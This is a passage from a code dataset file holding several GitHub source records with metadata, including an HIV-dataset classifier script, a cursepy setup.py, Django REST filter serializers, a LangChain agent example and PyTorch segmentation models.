"cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 82, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 83, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_BRIGHTNESS", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_AUTO_WB", "line_number": 86, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_WB_TEMPERATURE", "line_number": 87, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_SATURATION", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_AUTO_EXPOSURE", "line_number": 89, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_EXPOSURE", "line_number": 90, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_CONTRAST", "line_number": 91, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 94, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 98, "usage_type": "attribute"}, {"api_name": "cv2.inRange", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 102, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 102, "usage_type": "attribute"}, {"api_name": "cv2.arcLength", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.approxPolyDP", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.contourArea", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.moments", "line_number": 135, "usage_type": "call"}, {"api_name": "cv2.moments", "line_number": 150, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 202, "usage_type": "call"}]} {"seq_id": "27706162705", "text": "from sklearn import neural_network\r\nfrom sklearn.neural_network import MLPClassifier\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn import metrics\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn.model_selection import cross_validate\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom numpy import mean\r\nfrom numpy import std\r\n\r\npd.options.display.max_columns = None\r\npd.options.display.max_rows = None\r\ndf = pd.read_csv (r\"Task3 - dataset - HIV RVG.csv\")\r\nprint(df.describe(include='all'))\r\ndf.boxplot()\r\nax = df.plot.kde(bw_method=0.3)\r\nplt.show()\r\n\r\nx = df.loc[:,(\"Alpha\", \"Beta\", \"Lambda\", \"Lambda1\", \"Lambda2\")]\r\ny = df.loc[:,(\"Participant Condition\")]\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.10, random_state=42)\r\n\r\nepochs = [50, 100, 500, 1000, 10000]\r\naccuracy_ann = []\r\naccuracy_rt = []\r\nfor i in epochs:\r\n mlp = MLPClassifier(hidden_layer_sizes=(8,8), activation='relu', solver='adam', max_iter=i, learning_rate = 'invscaling')\r\n mlp.fit(x_train,y_train)\r\n\r\n predict_train = mlp.predict(x_train)\r\n predict_test = mlp.predict(x_test)\r\n\r\n acc = accuracy_score(y_test, predict_test)\r\n accuracy_ann.append(acc)\r\n print(\"Artificial Neural Network: \", acc)\r\n\r\n clf=RandomForestClassifier(n_estimators=i)\r\n clf.fit(x_train,y_train)\r\n y_pred=clf.predict(x_test)\r\n Accuracy = metrics.accuracy_score(y_test, y_pred)\r\n accuracy_rt.append(Accuracy)\r\n print(\"Random Forest: \", Accuracy)\r\n\r\nplt.plot(epochs,accuracy_ann)\r\nplt.plot(epochs,accuracy_rt)\r\nplt.show()\r\n\r\ndf = pd.read_csv (r\"Task3 - dataset - HIV RVG.csv\")\r\nx = df.loc[:,(\"Alpha\", \"Beta\", \"Lambda\", \"Lambda1\", \"Lambda2\")]\r\ny = df.loc[:,(\"Participant Condition\")]\r\nfolds = range(2,10)\r\nprint(\"Artificial Neural Network 10 fold cv\")\r\nfor k in folds:\r\n kf = KFold(n_splits=k)\r\n scores = cross_val_score(mlp, x, y, scoring='accuracy', cv=kf, n_jobs=-1)\r\n print('Accuracy: %.3f (%.3f)' % (mean(scores), std(scores)))\r\nprint(\"Random trees 10 fold cv\")\r\nfor k in folds:\r\n kf = KFold(n_splits=k)\r\n scores = cross_val_score(clf, x, y, scoring='accuracy', cv=kf, n_jobs=-1)\r\n print('Accuracy: %.3f (%.3f)' % (mean(scores), std(scores)))\r\n", "repo_name": "SamDavey16/Machine-Learning-Assignment", "sub_path": "Task 3.py", "file_name": "Task 3.py", "file_ext": "py", "file_size_in_byte": 2381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.options", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pandas.options", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.neural_network.MLPClassifier", "line_number": 32, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 61, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 66, "usage_type": "call"}]} {"seq_id": "2081967621", "text": "\"\"\"A setuptools based setup module.\nSee:\nhttps://packaging.python.org/guides/distributing-packages-using-setuptools/\nhttps://github.com/pypa/sampleproject\n\"\"\"\n\n\n# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\nimport pathlib\n\n# Import cursepy so we can get our metadata:\n\nimport cursepy\n\nhere = pathlib.Path(__file__).parent.resolve()\n\n# Get the long description from the README file\nlong_description = (here / 'README.md').read_text(encoding='utf-8')\n\n# Set the project homepage\nhome = 'https://github.com/Owen-Cochell/cursepy'\n\n# Arguments marked as \"Required\" below must be included for upload to PyPI.\n# Fields marked as \"Optional\" may be commented out.\n\nsetup(\n name='cursepy',\n version=cursepy.__version__,\n description='CurseForge API written in python',\n long_description=long_description,\n long_description_content_type='text/markdown',\n url=home,\n author='Owen Cochell',\n author_email='owencochell@hotmail.com',\n classifiers=[ # Optional\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 5 - Production/Stable',\n # Indicate who your project is intended for\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Libraries',\n # Pick your license as you wish\n 'License :: OSI Approved :: MIT License',\n # Stating that we are platform independent:\n 'Operating System :: OS Independent',\n # Specify the Python versions you support here. In particular, ensure\n # that you indicate you support Python 3. These classifiers are *not*\n # checked by 'pip install'. See instead 'python_requires' below.\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3 :: Only',\n ],\n keywords='curseforge, api, curseforge-api',\n packages=find_packages(),\n python_requires='>=3.7, <4',\n package_data={},\n project_urls={\n 'Bug Reports': f'{home}/issues',\n 'Source': home,\n 'Documentation': 'https://cursepy.readthedocs.io/',\n },\n)\n", "repo_name": "Owen-Cochell/cursepy", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 2212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 27, "usage_type": "call"}, {"api_name": "cursepy.__version__", "line_number": 29, "usage_type": "attribute"}, {"api_name": "setuptools.find_packages", "line_number": 57, "usage_type": "call"}]} {"seq_id": "38087461811", "text": "from rest_framework import serializers\nfrom collections import OrderedDict\nfrom rest_framework.fields import get_error_detail, set_value\n\nfrom rest_framework.fields import SkipField\nfrom rest_framework.relations import Hyperlink, PKOnlyObject\n\nfrom django.db.models import Q\n\nclass CommaSeparatedCharField(serializers.CharField):\n def to_representation(self, obj):\n if obj:\n return obj.split(',')\n else:\n return []\n\nclass FilterSerializer(serializers.Serializer):\n str_field = serializers.CharField()\n str_operator = serializers.CharField()\n str_value = serializers.CharField()\n is_not = serializers.BooleanField()\n is_or = serializers.BooleanField()\n\n def to_representation(self, data):\n return data\n\n def run_validation(self, data):\n return self.ParseStrFilter(data)\n\n def ParseStrFilter(self, _str):\n ret = dict()\n str_filter = ''\n ar_obj = _str.split('=')\n str_field_name = ar_obj[0].split('[')[0]\n str_operator = None\n\n is_not = False\n is_or = False\n\n \n if str_field_name[0:4] == 'or__':\n is_or = True\n str_field_name = str_field_name[4:]\n\n\n if '[' in ar_obj[0]:\n str_operator = ar_obj[0].split('[')[1].split(']')[0]\n if str_operator == \"not_in\":\n is_not = True\n str_operator = \"in\"\n\n str_filter = str_field_name\n if str_operator != None:\n str_filter += \"__\" + str_operator\n value = ar_obj[1]\n\n fields = self._writable_fields\n for field in fields:\n if field.field_name == \"str_field\":\n set_value(ret, field.source_attrs, str_field_name)\n elif field.field_name == \"str_value\":\n set_value(ret, field.source_attrs, value)\n elif field.field_name == \"str_operator\":\n set_value(ret, field.source_attrs, str_operator)\n elif field.field_name == \"is_not\":\n set_value(ret, field.source_attrs, is_not)\n elif field.field_name == \"is_or\":\n set_value(ret, field.source_attrs, is_or)\n return ret\n\n def to_internal_value(self, data):\n return [self.ParseStrFilter(obj) for obj in data]\n\n def GetFilter(data):\n is_not = data['is_not']\n str_field = data['str_field']\n str_operator = data['str_operator']\n str_value = data['str_value']\n \n str_filter = str_field\n if str_operator != None:\n str_filter += \"__\" + str_operator\n \n if ',' in str_value:\n str_value = str_value.replace('[','').replace(']','').split(',')\n\n if is_not:\n return Q(~Q(**{str_filter: str_value}))\n else:\n return Q(**{str_filter: str_value})\n\nclass RequestListSerializer(serializers.Serializer):\n q = serializers.CharField(required=False)\n page = serializers.IntegerField(required=False)\n pageSize = serializers.IntegerField(required=False)\n fields = CommaSeparatedCharField(required=False)\n sort = CommaSeparatedCharField(required=False)\n depth = serializers.IntegerField(required=False)\n filters = serializers.ListField(child=FilterSerializer(),required=False)\n\n def __init__(self, request, serializer):\n reserved_field_names = [str(field) for field in self.fields]\n\n request_data = request.GET\n\n data = {}\n request_data._mutable = True\n \n filters = []\n for k, v in request_data.items():\n if k in reserved_field_names:\n data[k] = v\n else:\n if ',' in v:\n filters.append(k.replace(',','') + \"=[\" + v + \"]\")\n else:\n filters.append(k.replace(',','') + \"=\" + v)\n \n if filters != []:\n data['filters'] = filters\n\n if 'pageSize' not in data:\n data['pageSize'] = 30\n \n if 'page' not in data:\n data['page'] = 0\n \n args = {}\n kwargs = {\"data\": data}\n\n super(RequestListSerializer, self).__init__(*args, **kwargs)\n\n self.is_valid()\n self._validate(serializer)\n \n\n\n def _validate(self, serializer):\n valid_fields = [field for field in serializer().get_fields()]\n\n if 'fields' in self.data:\n for field in self.data['fields']:\n if field not in valid_fields:\n raise Exception(\"El campo \" + field + \" no se encuentra asociado a este recurso.\")\n\n if 'sort' in self.data:\n for field in self.data['sort']:\n if field.replace('-', '') not in valid_fields:\n raise Exception(\"El campo de ordenamiento \" + field + \" no se encuentra asociado a este recurso.\")\n\n if 'filters' in self.data:\n for field in self.data['filters']:\n if field['str_field'] not in valid_fields:\n raise Exception(\"El filtro \" + field['str_field'] + \" no se encuentra asociado a este recurso.\")\n\n \n\nclass RequestModelSerializer(serializers.Serializer):\n fields = CommaSeparatedCharField(required=False)\n depth = serializers.IntegerField(required=False)\n\n def __init__(self, request, serializer):\n reserved_field_names = [str(field) for field in self.fields]\n\n ar_fields = request.GET.get('fields', None)\n str_depth = request.GET.get('depth', None)\n\n data = {}\n if ar_fields != None:\n data['fields'] = ar_fields\n \n if str_depth != None: \n data['depth'] = int(str_depth)\n\n args = {}\n kwargs = {\"data\": data}\n\n super(RequestModelSerializer, self).__init__(*args, **kwargs)\n\n self.is_valid()\n self._validate(serializer)\n \n def _validate(self, serializer):\n valid_fields = [field for field in serializer().get_fields()]\n if 'fields' in self.data:\n for field in self.data['fields']:\n if field not in valid_fields:\n raise Exception(\"El campo \" + field + \" no se encuentra asociado a este recurso.\")\n\n\n\n\nclass DynamicRequestModel:\n def __init__(self, request, modelSerializer):\n serializer_request = RequestModelSerializer(request, modelSerializer)\n data = serializer_request.data\n\n if 'fields' in data:\n self.fields = data['fields']\n else:\n self.fields = []\n \n if 'depth' in data:\n self.depth = data['depth']\n else:\n self.depth = None\n\n\nclass DynamicRequestModelList:\n def __init__(self, request, modelSerializer):\n serializer_request = RequestListSerializer(request, modelSerializer)\n data = serializer_request.data\n \n if 'q' in data:\n self.q = data['q']\n else:\n self.q = None\n\n if 'page' in data:\n self.page = data['page']\n else:\n self.page = 0\n\n if 'pageSize' in data:\n self.pageSize = data['pageSize']\n else:\n self.pageSize = 30\n \n if 'sort' in data:\n self.sort = data['sort']\n else:\n self.sort = []\n \n if 'filters' in data:\n self.filters = data['filters']\n else:\n self.filters = []\n\n if 'fields' in data:\n self.fields = data['fields']\n else:\n self.fields = []\n \n if 'depth' in data:\n self.depth = data['depth']\n else:\n self.depth = None\n\n def GetFilter(self):\n db_filter = None\n for _filter in self.filters:\n if db_filter != None:\n if _filter['is_or']:\n db_filter = db_filter | FilterSerializer.GetFilter(_filter)\n else:\n db_filter = db_filter & FilterSerializer.GetFilter(_filter)\n else:\n db_filter = FilterSerializer.GetFilter(_filter)\n return db_filter\n\n def FilterList(self, db_query):\n db_filter = self.GetFilter()\n if db_filter != None:\n return db_query.filter(db_filter)\n else:\n return db_query\n\n def SortList(self, db_query):\n if self.sort != []:\n return db_query.order_by(*self.sort).distinct()\n else:\n return db_query.order_by('-pk').distinct()\n\n def LimitList(self, db_query):\n int_start = self.page * self.pageSize\n int_length = self.pageSize * (self.page + 1)\n return db_query[int_start:int_length]\n", "repo_name": "jorgecardozo/BackGeneral", "sub_path": "api/paradigma/serializers/request_serializers.py", "file_name": "request_serializers.py", "file_ext": "py", "file_size_in_byte": 8636, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.serializers.CharField", "line_number": 10, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 17, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 19, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.serializers.BooleanField", "line_number": 21, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 21, "usage_type": "name"}, {"api_name": "rest_framework.serializers.BooleanField", "line_number": 22, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.fields.set_value", "line_number": 60, "usage_type": "call"}, {"api_name": "rest_framework.fields.set_value", "line_number": 62, "usage_type": "call"}, {"api_name": "rest_framework.fields.set_value", "line_number": 64, "usage_type": "call"}, {"api_name": "rest_framework.fields.set_value", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.fields.set_value", "line_number": 68, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 88, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 90, "usage_type": "call"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 92, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 92, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 93, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 93, "usage_type": "name"}, {"api_name": "rest_framework.serializers.IntegerField", "line_number": 94, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 94, "usage_type": "name"}, {"api_name": "rest_framework.serializers.IntegerField", "line_number": 95, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 95, "usage_type": "name"}, {"api_name": "rest_framework.serializers.IntegerField", "line_number": 98, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 98, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ListField", "line_number": 99, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 99, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 158, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 158, "usage_type": "name"}, {"api_name": "rest_framework.serializers.IntegerField", "line_number": 160, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 160, "usage_type": "name"}]} {"seq_id": "40230778338", "text": "from langchain.agents import load_tools, AgentExecutor\nfrom langchain_qianwen import Qwen_v1\n\nfrom langchain_qianwen.agents import ZeroShotAgentCN\n\nif __name__ == \"__main__\":\n llm = Qwen_v1(\n # model_name=\"qwen-turbo\",\n model_name=\"qwen-plus\",\n )\n\n tool_names = [\"serpapi\"]\n tools = load_tools(tool_names)\n\n custom_agent = ZeroShotAgentCN.from_llm_and_tools(llm=llm, tools=tools)\n agent_exector = AgentExecutor.from_agent_and_tools(\n agent=custom_agent, tools=tools, verbose=True\n )\n\n agent_exector.run(\"福岛最近发现哥斯拉了吗?\")\n", "repo_name": "dyfsquall/langchain_qianwen", "sub_path": "examples/hello_agent_cn.py", "file_name": "hello_agent_cn.py", "file_ext": "py", "file_size_in_byte": 586, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "langchain_qianwen.Qwen_v1", "line_number": 7, "usage_type": "call"}, {"api_name": "langchain.agents.load_tools", "line_number": 13, "usage_type": "call"}, {"api_name": "langchain_qianwen.agents.ZeroShotAgentCN.from_llm_and_tools", "line_number": 15, "usage_type": "call"}, {"api_name": "langchain_qianwen.agents.ZeroShotAgentCN", "line_number": 15, "usage_type": "name"}, {"api_name": "langchain.agents.AgentExecutor.from_agent_and_tools", "line_number": 16, "usage_type": "call"}, {"api_name": "langchain.agents.AgentExecutor", "line_number": 16, "usage_type": "name"}]} {"seq_id": "72865115422", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .segbase import SegBaseModel\nfrom .backbones.xception import Enc, FCAttention\nfrom .model_zoo import MODEL_REGISTRY\nfrom ..modules import _ConvBNReLU\n\n__all__ = ['DFANet']\n\n\n@MODEL_REGISTRY.register()\nclass DFANet(SegBaseModel):\n def __init__(self, **kwargs):\n super(DFANet, self).__init__()\n\n self.enc2_2 = Enc(240, 48, 4, **kwargs)\n self.enc3_2 = Enc(144, 96, 6, **kwargs)\n self.enc4_2 = Enc(288, 192, 4, **kwargs)\n self.fca_2 = FCAttention(192, **kwargs)\n\n self.enc2_3 = Enc(240, 48, 4, **kwargs)\n self.enc3_3 = Enc(144, 96, 6, **kwargs)\n self.enc3_4 = Enc(288, 192, 4, **kwargs)\n self.fca_3 = FCAttention(192, **kwargs)\n\n self.enc2_1_reduce = _ConvBNReLU(48, 32, 1, **kwargs)\n self.enc2_2_reduce = _ConvBNReLU(48, 32, 1, **kwargs)\n self.enc2_3_reduce = _ConvBNReLU(48, 32, 1, **kwargs)\n self.conv_fusion = _ConvBNReLU(32, 32, 1, **kwargs)\n\n self.fca_1_reduce = _ConvBNReLU(192, 32, 1, **kwargs)\n self.fca_2_reduce = _ConvBNReLU(192, 32, 1, **kwargs)\n self.fca_3_reduce = _ConvBNReLU(192, 32, 1, **kwargs)\n self.conv_out = nn.Conv2d(32, self.nclass, 1)\n\n self.__setattr__('decoder', ['enc2_2', 'enc3_2', 'enc4_2', 'fca_2', 'enc2_3', 'enc3_3', 'enc3_4',\n 'fca_3', 'enc2_1_reduce', 'enc2_2_reduce', 'enc2_3_reduce', 'conv_fusion',\n 'fca_1_reduce', 'fca_2_reduce', 'fca_3_reduce', 'conv_out'])\n\n def forward(self, x):\n # backbone\n stage1_conv1 = self.encoder.conv1(x)\n stage1_enc2 = self.encoder.enc2(stage1_conv1)\n stage1_enc3 = self.encoder.enc3(stage1_enc2)\n stage1_enc4 = self.encoder.enc4(stage1_enc3)\n stage1_fca = self.encoder.fca(stage1_enc4)\n stage1_out = F.interpolate(stage1_fca, scale_factor=4, mode='bilinear', align_corners=True)\n\n # stage2\n stage2_enc2 = self.enc2_2(torch.cat([stage1_enc2, stage1_out], dim=1))\n stage2_enc3 = self.enc3_2(torch.cat([stage1_enc3, stage2_enc2], dim=1))\n stage2_enc4 = self.enc4_2(torch.cat([stage1_enc4, stage2_enc3], dim=1))\n stage2_fca = self.fca_2(stage2_enc4)\n stage2_out = F.interpolate(stage2_fca, scale_factor=4, mode='bilinear', align_corners=True)\n\n # stage3\n stage3_enc2 = self.enc2_3(torch.cat([stage2_enc2, stage2_out], dim=1))\n stage3_enc3 = self.enc3_3(torch.cat([stage2_enc3, stage3_enc2], dim=1))\n stage3_enc4 = self.enc3_4(torch.cat([stage2_enc4, stage3_enc3], dim=1))\n stage3_fca = self.fca_3(stage3_enc4)\n\n stage1_enc2_decoder = self.enc2_1_reduce(stage1_enc2)\n stage2_enc2_docoder = F.interpolate(self.enc2_2_reduce(stage2_enc2), scale_factor=2,\n mode='bilinear', align_corners=True)\n stage3_enc2_decoder = F.interpolate(self.enc2_3_reduce(stage3_enc2), scale_factor=4,\n mode='bilinear', align_corners=True)\n fusion = stage1_enc2_decoder + stage2_enc2_docoder + stage3_enc2_decoder\n fusion = self.conv_fusion(fusion)\n\n stage1_fca_decoder = F.interpolate(self.fca_1_reduce(stage1_fca), scale_factor=4,\n mode='bilinear', align_corners=True)\n stage2_fca_decoder = F.interpolate(self.fca_2_reduce(stage2_fca), scale_factor=8,\n mode='bilinear', align_corners=True)\n stage3_fca_decoder = F.interpolate(self.fca_3_reduce(stage3_fca), scale_factor=16,\n mode='bilinear', align_corners=True)\n fusion = fusion + stage1_fca_decoder + stage2_fca_decoder + stage3_fca_decoder\n\n outputs = list()\n out = self.conv_out(fusion)\n out = F.interpolate(out, scale_factor=4, mode='bilinear', align_corners=True)\n outputs.append(out)\n\n return tuple(outputs)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/semantic_segmentation/FastSCNN/segmentron/models/dfanet.py", "file_name": "dfanet.py", "file_ext": "py", "file_size_in_byte": 4014, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "segbase.SegBaseModel", "line_number": 14, "usage_type": "name"}, {"api_name": "backbones.xception.Enc", "line_number": 18, "usage_type": "call"}, {"api_name": "backbones.xception.Enc", "line_number": 19, "usage_type": "call"}, {"api_name": "backbones.xception.Enc", "line_number": 20, "usage_type": "call"}, {"api_name": "backbones.xception.FCAttention", "line_number": 21, "usage_type": "call"}, {"api_name": "backbones.xception.Enc", "line_number": 23, "usage_type": "call"}, {"api_name": "backbones.xception.Enc", "line_number": 24, "usage_type": "call"}, {"api_name": "backbones.xception.Enc", "line_number": 25, "usage_type": "call"}, {"api_name": "backbones.xception.FCAttention", "line_number": 26, "usage_type": "call"}, {"api_name": "modules._ConvBNReLU", "line_number": 28, "usage_type": "call"}, {"api_name": "modules._ConvBNReLU", "line_number": 29, "usage_type": "call"}, {"api_name": "modules._ConvBNReLU", "line_number": 30, "usage_type": "call"}, {"api_name": "modules._ConvBNReLU", "line_number": 31, "usage_type": "call"}, {"api_name": "modules._ConvBNReLU", "line_number": 33, "usage_type": "call"}, {"api_name": "modules._ConvBNReLU", "line_number": 34, "usage_type": "call"}, {"api_name": "modules._ConvBNReLU", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.functional.interpolate", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 82, "usage_type": "name"}, {"api_name": "model_zoo.MODEL_REGISTRY.register", "line_number": 13, "usage_type": "call"}, {"api_name": "model_zoo.MODEL_REGISTRY", "line_number": 13, "usage_type": "name"}]} {"seq_id": "19988124930", "text": "import torch.nn as nn\nfrom .hg import HourglassNet, HgResBlock\n\nclass HourglassDisNet(HourglassNet):\n def __init__(self, nStacks, nModules, nFeat, nClasses, resBlock=HgResBlock, inplanes=3):\n super().__init__(nStacks, nModules, nFeat, nClasses, resBlock, inplanes)\n\n def _make_head(self):\n self.conv1 = nn.Conv2d(self.inplanes, 64, 3, 1, 1)\n self.bn1 = nn.BatchNorm2d(64)\n self.relu = nn.ReLU(inplace=True)\n self.res1 = self.resBlock(64, 128)\n self.res2 = self.resBlock(128, 128)\n self.res3 = self.resBlock(128, self.nFeat)\n\n def forward(self, x):\n\n # head\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.relu(x)\n x = self.res1(x)\n x = self.res2(x)\n x = self.res3(x)\n\n for i in range(self.nStacks):\n y = self.hg[i](x)\n y = self.res[i](y)\n y = self.fc[i](y)\n score = self.score[i](y)\n if i < (self.nStacks - 1):\n fc_ = self.fc_[i](y)\n score_ = self.score_[i](score)\n x = x + fc_ + score_\n\n return score\n", "repo_name": "roytseng-tw/adversarial-pose-pytorch", "sub_path": "src/models/dis.py", "file_name": "dis.py", "file_ext": "py", "file_size_in_byte": 1121, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 68, "dataset": "github-code", "pt": "7", "api": [{"api_name": "hg.HourglassNet", "line_number": 4, "usage_type": "name"}, {"api_name": "hg.HgResBlock", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}]} {"seq_id": "33349325193", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport re\nimport numpy as np\nfrom sklearn.metrics import silhouette_samples, silhouette_score\nfrom sklearn.cluster import KMeans\nimport joblib \nfrom sklearn.preprocessing import MinMaxScaler\nfrom scipy.spatial.distance import cosine\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\n# In[3]:\n\n\nanimal = pd.read_csv('../data/raw_data/animal(221029).csv', index_col = 